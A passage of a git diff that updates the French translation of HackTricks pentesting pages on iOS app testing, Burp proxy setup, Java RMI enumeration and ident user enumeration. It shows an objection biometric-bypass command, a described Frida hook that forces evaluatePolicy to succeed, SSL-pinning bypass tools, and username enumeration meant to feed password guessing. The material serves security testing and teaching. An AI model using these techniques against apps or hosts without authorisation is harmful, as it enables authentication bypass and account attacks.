use iFunBox to access the file system of an iOS device and analyze the files stored by an application. + +### Jailbreaking + +Jailbreaking an iOS device can provide you with additional capabilities for analyzing and manipulating iOS applications. It allows you to access restricted areas of the file system and run custom code on the device. {% endtab %} ```objectivec @@ -1004,9 +1042,9 @@ Si `Security.framework` est utilisé, seul le second sera affiché. #### **Objection** -Grâce au **Contournement Biométrique Objection**, situé sur [cette page GitHub](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass), une technique est disponible pour contourner le mécanisme **LocalAuthentication**. L'essence de cette approche consiste à exploiter **Frida** pour manipuler la fonction `evaluatePolicy`, garantissant ainsi un résultat `True` de manière constante, indépendamment de la réussite de l'authentification réelle. Ceci est particulièrement utile pour contourner les processus d'authentification biométrique défectueux. +Grâce au **Contournement Biométrique Objection**, situé sur [cette page GitHub](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass), une technique est disponible pour contourner le mécanisme **LocalAuthentication**. L'essence de cette approche consiste à exploiter **Frida** pour manipuler la fonction `evaluatePolicy`, garantissant ainsi un résultat `True` constant, indépendamment de la réussite de l'authentification réelle. Ceci est particulièrement utile pour contourner les processus d'authentification biométrique défectueux. -Pour activer ce contournement, la commande suivante est utilisée: +Pour activer ce contournement, la commande suivante est utilisée : ```bash ...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # ios ui biometrics_bypass (agent) Registering job 3mhtws9x47q. Type: ios-biometrics-disable @@ -1047,7 +1085,7 @@ dispatch_async(dispatch_get_main_queue(), ^{ } } ``` -Pour réaliser le contournement de l'**authentification locale**, un script Frida est écrit. Ce script cible la vérification **evaluatePolicy**, interceptant son rappel pour s'assurer qu'il renvoie **success=1**. En modifiant le comportement du rappel, la vérification d'authentification est contournée de manière efficace. +Pour réaliser le contournement de l'**authentification locale**, un script Frida est écrit. Ce script cible la vérification de **evaluatePolicy**, interceptant son rappel pour s'assurer qu'il renvoie **success=1**. En modifiant le comportement du rappel, la vérification d'authentification est contournée de manière efficace. Le script ci-dessous est injecté pour modifier le résultat de la méthode **evaluatePolicy**. Il modifie le résultat du rappel pour indiquer toujours le succès. ```swift @@ -1135,21 +1173,21 @@ Pour vérifier ce problème en utilisant Burp, après avoir fait confiance à l' ### Épinglage de certificat -Si une application utilise correctement l'épinglage SSL, alors l'application ne fonctionnera que si le certificat est celui attendu. Lors du test d'une application **cela peut poser problème car Burp servira son propre certificat.**\ -Pour contourner cette protection dans un appareil jailbreaké, vous pouvez installer l'application [**SSL Kill Switch**](https://github.com/nabla-c0d3/ssl-kill-switch2) ou installer [**Burp Mobile Assistant**](https://portswigger.net/burp/documentation/desktop/mobile/config-ios-device) +Si une application utilise correctement l'épinglage SSL, alors l'application ne fonctionnera que si le certificat est celui attendu. Lors du test d'une application, **cela peut poser problème car Burp servira son propre certificat.**\ +Pour contourner cette protection sur un appareil jailbreaké, vous pouvez installer l'application [**SSL Kill Switch**](https://github.com/nabla-c0d3/ssl-kill-switch2) ou installer [**Burp Mobile Assistant**](https://portswigger.net/burp/documentation/desktop/mobile/config-ios-device) Vous pouvez également utiliser la commande **`ios sslpinning disable`** de **objection** ## Divers * Dans **`/System/Library`**, vous pouvez trouver les frameworks installés dans le téléphone utilisés par les applications système -* Les applications installées par l'utilisateur depuis l'App Store sont situées dans **`/User/Applications`** +* Les applications installées par l'utilisateur depuis l'App Store se trouvent dans **`/User/Applications`** * Et le **`/User/Library`** contient les données enregistrées par les applications de niveau utilisateur * Vous pouvez accéder à **`/User/Library/Notes/notes.sqlite`** pour lire les notes enregistrées dans l'application. * À l'intérieur du dossier d'une application installée (**`/User/Applications//`**), vous pouvez trouver des fichiers intéressants : * **`iTunesArtwork`** : L'icône utilisée par l'application * **`iTunesMetadata.plist`** : Infos de l'application utilisées dans l'App Store - * **`/Library/*`** : Contient les préférences et le cache. Dans **`/Library/Cache/Snapshots/*`** vous pouvez trouver la capture d'écran effectuée par l'application avant de l'envoyer en arrière-plan. + * **`/Library/*`** : Contient les préférences et le cache. Dans **`/Library/Cache/Snapshots/*`** vous pouvez trouver la capture d'écran effectuée par l'application avant de la mettre en arrière-plan. ### Patching à chaud / Mises à jour forcées @@ -1159,7 +1197,7 @@ Les développeurs peuvent **patcher à distance toutes les installations de leur ### Tiers -Un défi significatif avec les **SDK tiers** est le **manque de contrôle granulaire** sur leurs fonctionnalités. Les développeurs sont confrontés à un choix : soit intégrer le SDK et accepter toutes ses fonctionnalités, y compris les vulnérabilités potentielles en matière de sécurité et les préoccupations en matière de confidentialité, soit renoncer entièrement à ses avantages. Souvent, les développeurs ne peuvent pas corriger eux-mêmes les vulnérabilités au sein de ces SDK. De plus, à mesure que les SDK gagnent la confiance au sein de la communauté, certains peuvent commencer à contenir des logiciels malveillants. +Un défi important avec les **SDK tiers** est le **manque de contrôle granulaire** sur leurs fonctionnalités. Les développeurs sont confrontés à un choix : intégrer le SDK et accepter toutes ses fonctionnalités, y compris les vulnérabilités potentielles en matière de sécurité et les préoccupations en matière de confidentialité, ou renoncer entièrement à ses avantages. Souvent, les développeurs ne peuvent pas corriger eux-mêmes les vulnérabilités au sein de ces SDK. De plus, à mesure que les SDK gagnent la confiance au sein de la communauté, certains peuvent commencer à contenir des logiciels malveillants. Les services fournis par les SDK tiers peuvent inclure le suivi du comportement des utilisateurs, l'affichage de publicités ou des améliorations de l'expérience utilisateur. Cependant, cela introduit un risque car les développeurs peuvent ne pas être pleinement conscients du code exécuté par ces bibliothèques, ce qui peut entraîner des risques potentiels en matière de confidentialité et de sécurité. Il est crucial de limiter les informations partagées avec les services tiers à ce qui est nécessaire et de s'assurer qu'aucune donnée sensible n'est exposée. @@ -1187,7 +1225,7 @@ otool -L * [https://mas.owasp.org/MASTG/tests/ios/MASVS-AUTH/MASTG-TEST-0064](https://mas.owasp.org/MASTG/tests/ios/MASVS-AUTH/MASTG-TEST-0064) * [https://medium.com/securing/bypassing-your-apps-biometric-checks-on-ios-c2555c81a2dc](https://medium.com/securing/bypassing-your-apps-biometric-checks-on-ios-c2555c81a2dc) * [https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0054](https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0054) -* [https://github.com/ivRodriguezCA/RE-iOS-Apps/](https://github.com/ivRodriguezCA/RE-iOS-Apps/) Cours iOS gratuit ([https://syrion.me/blog/ios-swift-antijailbreak-bypass-frida/](https://syrion.me/blog/ios-swift-antijailbreak-bypass-frida/)) +* [https://github.com/ivRodriguezCA/RE-iOS-Apps/](https://github.com/ivRodriguezCA/RE-iOS-Apps/) Cours gratuit sur iOS ([https://syrion.me/blog/ios-swift-antijailbreak-bypass-frida/](https://syrion.me/blog/ios-swift-antijailbreak-bypass-frida/)) * [https://www.sans.org/reading-room/whitepapers/testing/ipwn-apps-pentesting-ios-applications-34577](https://www.sans.org/reading-room/whitepapers/testing/ipwn-apps-pentesting-ios-applications-34577) * [https://www.slideshare.net/RyanISI/ios-appsecurityminicourse](https://www.slideshare.net/RyanISI/ios-appsecurityminicourse) * [https://github.com/prateek147/DVIA](https://github.com/prateek147/DVIA) @@ -1197,10 +1235,10 @@ otool -L * [https://github.com/authenticationfailure/WheresMyBrowser.iOS](https://github.com/authenticationfailure/WheresMyBrowser.iOS) * [https://github.com/nabla-c0d3/ssl-kill-switch2](https://github.com/nabla-c0d3/ssl-kill-switch2) -
+
\ -Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire facilement et **automatiser des workflows** alimentés par les outils communautaires les plus avancés au monde.\ +Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser facilement des workflows** alimentés par les outils communautaires les plus avancés au monde.\ Accédez dès aujourd'hui : {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -1214,7 +1252,7 @@ Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez** 💬 le groupe Discord](https://discord.gg/hRep4RUj7f) ou le [groupe Telegram](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [@carlospolopm](https://twitter.com/hacktricks_live)**.** +* **Rejoignez** 💬 le groupe Discord](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. diff --git a/mobile-pentesting/ios-pentesting/burp-configuration-for-ios.md b/mobile-pentesting/ios-pentesting/burp-configuration-for-ios.md index 775e06ca0..efbc0652e 100644 --- a/mobile-pentesting/ios-pentesting/burp-configuration-for-ios.md +++ b/mobile-pentesting/ios-pentesting/burp-configuration-for-ios.md @@ -9,12 +9,12 @@ Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub. -
+
\ Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser facilement des workflows** alimentés par les outils communautaires les plus avancés au monde.\ @@ -27,32 +27,38 @@ Accédez dès aujourd'hui : Pour l'analyse sécurisée du trafic web et le pinning SSL sur les appareils iOS, Burp Suite peut être utilisé soit via le **Burp Mobile Assistant** soit via une configuration manuelle. Voici un guide résumé sur les deux méthodes : ### Installation automatisée avec Burp Mobile Assistant -Le **Burp Mobile Assistant** simplifie le processus d'installation du certificat Burp, de la configuration du proxy et du SSL Pinning. Des instructions détaillées sont disponibles dans la [documentation officielle de PortSwigger](https://portswigger.net/burp/documentation/desktop/tools/mobile-assistant/installing). + +Le **Burp Mobile Assistant** simplifie le processus d'installation du certificat Burp, de la configuration du proxy et du pinning SSL. Des instructions détaillées sont disponibles dans la [documentation officielle de PortSwigger](https://portswigger.net/burp/documentation/desktop/tools/mobile-assistant/installing). ### Étapes d'installation manuelle + 1. **Configuration du proxy :** Commencez par définir Burp comme proxy dans les paramètres Wi-Fi de l'iPhone. 2. **Téléchargement du certificat :** Accédez à `http://burp` dans le navigateur de votre appareil pour télécharger le certificat. -3. **Installation du certificat :** Installez le profil téléchargé via **Réglages** > **Général** > **VPN et gestion des appareils**, puis activez la confiance pour le CA de PortSwigger sous **Réglages de confiance des certificats**. +3. **Installation du certificat :** Installez le profil téléchargé via **Réglages** > **Général** > **VPN et gestion des appareils**, puis activez la confiance pour le CA de PortSwigger sous **Réglages de confiance du certificat**. ### Configuration d'un proxy d'interception + La configuration permet l'analyse du trafic entre l'appareil iOS et Internet via Burp, nécessitant un réseau Wi-Fi prenant en charge le trafic client-à-client. En l'absence de cela, une connexion USB via usbmuxd peut servir d'alternative. Les tutoriels de PortSwigger fournissent des instructions détaillées sur la [configuration de l'appareil](https://support.portswigger.net/customer/portal/articles/1841108-configuring-an-ios-device-to-work-with-burp) et l'[installation du certificat](https://support.portswigger.net/customer/portal/articles/1841109-installing-burp-s-ca-certificate-in-an-ios-device). ### Configuration avancée pour les appareils jailbreakés + Pour les utilisateurs d'appareils jailbreakés, SSH via USB (via **iproxy**) offre une méthode pour router le trafic directement via Burp : 1. **Établir une connexion SSH :** Utilisez iproxy pour rediriger SSH vers localhost, permettant la connexion de l'appareil iOS à l'ordinateur exécutant Burp. + ```bash iproxy 2222 22 ``` 2. **Redirection de port à distance :** Redirigez le port 8080 de l'appareil iOS vers localhost de l'ordinateur pour permettre un accès direct à l'interface de Burp. + ```bash ssh -R 8080:localhost:8080 root@localhost -p 2222 ``` 3. **Paramétrage du proxy global :** Enfin, configurez les paramètres Wi-Fi de l'appareil iOS pour utiliser un proxy manuel, dirigeant tout le trafic web via Burp. -### Surveillance/Sniffing complet du réseau +### Surveillance/Capture complète du réseau -La surveillance du trafic des appareils non-HTTP peut être efficacement réalisée en utilisant **Wireshark**, un outil capable de capturer toutes les formes de trafic de données. Pour les appareils iOS, la surveillance en temps réel du trafic est facilitée par la création d'une interface virtuelle distante, un processus détaillé dans [ce post Stack Overflow](https://stackoverflow.com/questions/9555403/capturing-mobile-phone-traffic-on-wireshark/33175819#33175819). Avant de commencer, l'installation de **Wireshark** sur un système macOS est nécessaire. +La surveillance du trafic de l'appareil non-HTTP peut être efficacement réalisée en utilisant **Wireshark**, un outil capable de capturer toutes les formes de trafic de données. Pour les appareils iOS, la surveillance en temps réel du trafic est facilitée par la création d'une interface virtuelle distante, un processus détaillé dans [ce post Stack Overflow](https://stackoverflow.com/questions/9555403/capturing-mobile-phone-traffic-on-wireshark/33175819#33175819). Avant de commencer, l'installation de **Wireshark** sur un système macOS est nécessaire. La procédure implique plusieurs étapes clés : @@ -79,7 +85,7 @@ Dans _Proxy_ --> _Options_ --> _Exporter le certificat CA_ --> _Certificat au fo ![](<../../.gitbook/assets/image (460).png>) -**Félicitations, vous avez configuré avec succès le certificat CA Burp dans le simulateur iOS** +**Félicitations, vous avez configuré avec succès le certificat CA de Burp dans le simulateur iOS** {% hint style="info" %} **Le simulateur iOS utilisera les configurations de proxy de MacOS.** @@ -90,31 +96,17 @@ Dans _Proxy_ --> _Options_ --> _Exporter le certificat CA_ --> _Certificat au fo Étapes pour configurer Burp en tant que proxy : * Allez dans _Préférences Système_ --> _Réseau_ --> _Avancé_ -* Dans l'onglet _Proxy_, cochez _Proxy Web (HTTP)_ et _Proxy Web sécurisé (HTTPS)_ +* Dans l'onglet _Proxy_, cochez _Proxy Web (HTTP)_ et _Proxy Web Sécurisé (HTTPS)_ * Dans les deux options, configurez _127.0.0.1:8080_ ![](<../../.gitbook/assets/image (461).png>) -* Cliquez sur _**OK**_ et ensuite sur _**Appliquer**_ +* Cliquez sur _**Ok**_ et ensuite sur _**Appliquer**_ -
+
\ Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser facilement** des workflows alimentés par les outils communautaires les plus avancés au monde.\ Accédez dès aujourd'hui : {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} - -
- -Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! - -Autres façons de soutenir HackTricks : - -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez** 💬 le groupe Discord](https://discord.gg/hRep4RUj7f) ou le [groupe Telegram](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [@carlospolopm](https://twitter.com/hacktricks_live)**.** -* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. - -
diff --git a/network-services-pentesting/1099-pentesting-java-rmi.md b/network-services-pentesting/1099-pentesting-java-rmi.md index 585f2f6e0..e341ea037 100644 --- a/network-services-pentesting/1099-pentesting-java-rmi.md +++ b/network-services-pentesting/1099-pentesting-java-rmi.md @@ -2,19 +2,19 @@
-Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge AWS de HackTricks)! Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
+
\ Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser facilement des workflows** alimentés par les outils communautaires les plus avancés au monde.\ @@ -24,7 +24,7 @@ Accédez dès aujourd'hui : ## Informations de base -_L'invocation de méthode à distance Java_, ou _Java RMI_, est un mécanisme _RPC_ orienté objet qui permet à un objet situé dans une _machine virtuelle Java_ d'appeler des méthodes sur un objet situé dans une autre _machine virtuelle Java_. Cela permet aux développeurs d'écrire des applications distribuées en utilisant un paradigme orienté objet. Une brève introduction à _Java RMI_ d'un point de vue offensif peut être trouvée dans [cette présentation Black Hat](https://youtu.be/t\_aw1mDNhzI?t=202). +_L'invocation de méthode à distance Java_, ou _Java RMI_, est un mécanisme de RPC orienté objet qui permet à un objet situé dans une _machine virtuelle Java_ d'appeler des méthodes sur un objet situé dans une autre _machine virtuelle Java_. Cela permet aux développeurs d'écrire des applications distribuées en utilisant un paradigme orienté objet. Une brève introduction à _Java RMI_ d'un point de vue offensif peut être trouvée dans [cette présentation Blackhat](https://youtu.be/t\_aw1mDNhzI?t=202). **Port par défaut :** 1090,1098,1099,1199,4443-4446,8999-9010,9999 ``` @@ -36,16 +36,16 @@ PORT STATE SERVICE VERSION ``` Généralement, seuls les composants par défaut de _Java RMI_ (le _Registre RMI_ et le _Système d'Activation_) sont liés à des ports communs. Les _objets distants_ qui implémentent l'application _RMI_ réelle sont généralement liés à des ports aléatoires comme indiqué dans la sortie ci-dessus. -_nmap_ a parfois des difficultés à identifier les services _RMI_ protégés par _SSL_. Si vous rencontrez un service _SSL_ inconnu sur un port _RMI_ commun, vous devriez enquêter davantage. +_nmap_ a parfois du mal à identifier les services _RMI_ protégés par _SSL_. Si vous rencontrez un service ssl inconnu sur un port _RMI_ commun, vous devriez approfondir votre enquête. ## Composants RMI -Pour le dire simplement, _Java RMI_ permet à un développeur de rendre un _objet Java_ disponible sur le réseau. Cela ouvre un port _TCP_ où les clients peuvent se connecter et appeler des méthodes sur l'objet correspondant. Malgré que cela semble simple, _Java RMI_ doit résoudre plusieurs défis : +Pour le dire simplement, _Java RMI_ permet à un développeur de rendre un _objet Java_ disponible sur le réseau. Cela ouvre un port _TCP_ où les clients peuvent se connecter et appeler des méthodes sur l'objet correspondant. Malgré que cela semble simple, il existe plusieurs défis que _Java RMI_ doit résoudre : 1. Pour dispatcher un appel de méthode via _Java RMI_, les clients doivent connaître l'adresse IP, le port d'écoute, la classe ou l'interface implémentée et l'`ObjID` de l'objet ciblé (l'`ObjID` est un identifiant unique et aléatoire créé lorsque l'objet est rendu disponible sur le réseau. Il est requis car _Java RMI_ permet à plusieurs objets d'écouter sur le même port _TCP_). -2. Les clients distants peuvent allouer des ressources sur le serveur en invoquant des méthodes sur l'objet exposé. La machine virtuelle Java doit suivre quelles de ces ressources sont toujours en cours d'utilisation et lesquelles peuvent être collectées par le garbage collector. +2. Les clients distants peuvent allouer des ressources sur le serveur en invoquant des méthodes sur l'objet exposé. La machine virtuelle Java doit suivre quelles de ces ressources sont encore en cours d'utilisation et lesquelles peuvent être collectées par le garbage collector. -Le premier défi est résolu par le _registre RMI_, qui est essentiellement un service de nommage pour _Java RMI_. Le _registre RMI_ lui-même est également un service _RMI_, mais l'interface implémentée et l'`ObjID` sont fixes et connus de tous les clients _RMI_. Cela permet aux clients _RMI_ de consommer le _registre RMI_ en connaissant simplement le port _TCP_ correspondant. +Le premier défi est résolu par le _registre RMI_, qui est essentiellement un service de nommage pour _Java RMI_. Le _registre RMI_ lui-même est également un service _RMI_, mais l'interface implémentée et l'`ObjID` sont fixes et connus de tous les clients _RMI_. Cela permet aux clients _RMI_ de consommer le registre _RMI_ en connaissant simplement le port _TCP_ correspondant. Lorsque les développeurs veulent rendre leurs _objets Java_ disponibles sur le réseau, ils les lient généralement à un _registre RMI_. Le _registre_ stocke toutes les informations requises pour se connecter à l'objet (adresse IP, port d'écoute, classe ou interface implémentée et la valeur `ObjID`) et le rend disponible sous un nom lisible par l'homme (le _nom lié_). Les clients qui veulent consommer le service _RMI_ demandent au _registre RMI_ le _nom lié_ correspondant et le registre renvoie toutes les informations requises pour se connecter. Ainsi, la situation est essentiellement la même qu'avec un service _DNS_ ordinaire. L'exemple suivant montre un petit exemple : ```java @@ -229,7 +229,7 @@ En plus de la devinette, vous devriez également rechercher dans les moteurs de ## Interfaces Connues -[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) marque les classes ou interfaces comme `connues` si elles sont répertoriées dans la base de données interne de services _RMI_ connus de l'outil. Dans ces cas, vous pouvez utiliser l'action `connue` pour obtenir plus d'informations sur le service _RMI_ correspondant: +[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) marque les classes ou interfaces comme `connues` si elles sont répertoriées dans la base de données interne de services _RMI_ connus de l'outil. Dans ces cas, vous pouvez utiliser l'action `connue` pour obtenir plus d'informations sur le service _RMI_ correspondant : ``` $ rmg enum 172.17.0.2 1090 | head -n 5 [+] RMI registry bound names: @@ -299,9 +299,10 @@ $ rmg known javax.management.remote.rmi.RMIServerImpl_Stub * [BaRMIe](https://github.com/NickstaDB/BaRMIe) ## Références + * [https://github.com/qtc-de/remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) -## Commandes automatiques HackTricks +## Commandes Automatiques de HackTricks ``` Protocol_Name: Java RMI #Protocol Abbreviation if there is one. Port_Number: 1090,1098,1099,1199,4443-4446,8999-9010,9999 #Comma separated if there is more than one. @@ -312,11 +313,11 @@ Name: Enumeration Description: Perform basic enumeration of an RMI service Command: rmg enum {IP} {PORT} ``` -
+
\ -Utilisez [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) pour construire facilement et **automatiser des workflows** alimentés par les outils communautaires les plus avancés au monde.\ -Accédez-y aujourd'hui : +Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire facilement et **automatiser des workflows** alimentés par les outils communautaires les plus avancés au monde.\ +Accédez dès aujourd'hui à : {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -326,10 +327,10 @@ Accédez-y aujourd'hui : Autres façons de soutenir HackTricks : -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub. +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. diff --git a/network-services-pentesting/113-pentesting-ident.md b/network-services-pentesting/113-pentesting-ident.md index 0d2c5f959..1edfdfb4e 100644 --- a/network-services-pentesting/113-pentesting-ident.md +++ b/network-services-pentesting/113-pentesting-ident.md @@ -8,16 +8,16 @@ Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. -
+
-Utilisez [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) pour construire et **automatiser facilement des workflows** alimentés par les outils communautaires les plus avancés au monde.\ -Accédez dès aujourd'hui : +Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser facilement des workflows** alimentés par les outils communautaires les plus avancés au monde.\ +Obtenez un accès aujourd'hui : {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -50,7 +50,7 @@ Autres erreurs : ### Nmap -Par défaut (`-sC``), nmap identifiera chaque utilisateur de chaque port en cours d'exécution : +Par défaut (\`-sC\`\`) nmap identifiera chaque utilisateur de chaque port en cours d'exécution : ``` PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 4.3p2 Debian 9 (protocol 2.0) @@ -67,7 +67,7 @@ PORT STATE SERVICE VERSION ``` ### Ident-user-enum -[**Ident-user-enum**](https://github.com/pentestmonkey/ident-user-enum) est un script PERL simple pour interroger le service ident (113/TCP) afin de déterminer le propriétaire du processus écoutant sur chaque port TCP d'un système cible. La liste des noms d'utilisateur collectés peut être utilisée pour des attaques de devinettes de mots de passe sur d'autres services réseau. Il peut être installé avec `apt install ident-user-enum`. +[**Ident-user-enum**](https://github.com/pentestmonkey/ident-user-enum) est un simple script PERL pour interroger le service ident (113/TCP) afin de déterminer le propriétaire du processus écoutant sur chaque port TCP d'un système cible. La liste des noms d'utilisateur collectés peut être utilisée pour des attaques de devinettes de mots de passe sur d'autres services réseau. Il peut être installé avec `apt install ident-user-enum`. ``` root@kali:/opt/local/recon/192.168.1.100# ident-user-enum 192.168.1.100 22 113 139 445 ident-user-enum v1.0 ( http://pentestmonkey.net/tools/ident-user-enum ) @@ -85,9 +85,9 @@ ident-user-enum v1.0 ( http://pentestmonkey.net/tools/ident-user-enum ) identd.conf -
+
